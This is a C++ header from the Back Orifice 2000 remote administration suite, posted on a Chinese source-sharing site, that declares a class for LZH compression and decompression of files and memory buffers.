lzhcompress.h
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:3k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #ifndef __INC_LZHCOMPRESS_H
  16. #define __INC_LZHCOMPRESS_H
  17. #include<windows.h>
  18. #include<limits.h>
  19. #define N       4096    /* buffer size */
  20. #define F       60  /* lookahead buffer size */
  21. #define THRESHOLD   2
  22. #define NIL     N   /* leaf of tree */
  23. #define N_CHAR      (256 - THRESHOLD + F)
  24.                 /* kinds of characters (character code = 0..N_CHAR-1) */
  25. #define T       (N_CHAR * 2 - 1)    /* size of table */
  26. #define R       (T - 1)         /* position of root */
  27. #define MAX_FREQ    0x8000      /* updates tree when the */
  28. class CLzhCompress {
  29. private:
  30. unsigned long int  textsize, codesize;
  31. // LZSS compression
  32. BYTE text_buf[N + F - 1];
  33. short match_position, match_length, lson[N + 1], rson[N + 257], dad[N + 1];
  34. // Huffman coding
  35. WORD freq[T + 1]; /* frequency table */
  36. short prnt[T + N_CHAR]; /* pointers to parent nodes, except for the */
  37. /* elements [T..T + N_CHAR - 1] which are used to get */
  38. /* the positions of leaves corresponding to the codes. */
  39. short son[T]; /* pointers to child nodes (son[], son[] + 1) */
  40. WORD getbuf;
  41. BYTE getlen;
  42. WORD putbuf;
  43. BYTE putlen;
  44. WORD code, len;
  45. // Various read/write things
  46. HANDLE hFileIn, hFileOut;
  47. BYTE *pMemIn, *pMemOut;
  48. int nMemInSize, nMemOutSize;
  49. int nMemInOff, nMemOutOff;
  50. int freeze_type;
  51. protected:
  52. void InitTree(void); // initialize trees 
  53. void InsertNode(short r); // insert to tree 
  54. void DeleteNode(short p); // remove from tree 
  55. WORD GetBit(void); // get one bit 
  56. WORD GetByte(void); // get one byte 
  57. void Putcode(short l, WORD c); // output c bits of code 
  58. void StartHuff(void);
  59. void reconst(void);
  60. void update(short c);
  61. void EncodeChar(WORD c);
  62. void EncodePosition(WORD c);
  63. void EncodeEnd(void);
  64. short DecodeChar(void);
  65. short DecodePosition(void);
  66. void Encode(void); // compression
  67. void Decode(void); // recover 
  68. int fnc_read_file(BYTE *pBuffer, int nLen);
  69. int fnc_write_file(BYTE *pBuffer, int nLen);
  70. int fnc_read_memory(BYTE *pBuffer, int nLen);
  71. int fnc_write_memory(BYTE *pBuffer, int nLen);
  72. int fnc_write(BYTE *ptr, int len);
  73. int fnc_read(BYTE *ptr, int len);
  74. int fnc_getc(void);
  75. int fnc_putc(int val);
  76. int lzh_freeze(void);
  77. public:
  78. int lzh_freeze_file(char *szInFile, char *szOutFile);
  79. int lzh_freeze_memory(void *pInBuffer, int nInBufLen, void *pOutBuf, int nOutBufLen);
  80. int lzh_melt_file(char *szInFile, char *szOutFile);
  81. int lzh_melt_memory(void *pInBuffer, int nInBufLen, void *pOutBuf, int nOutBufLen);
  82. };
  83. #endif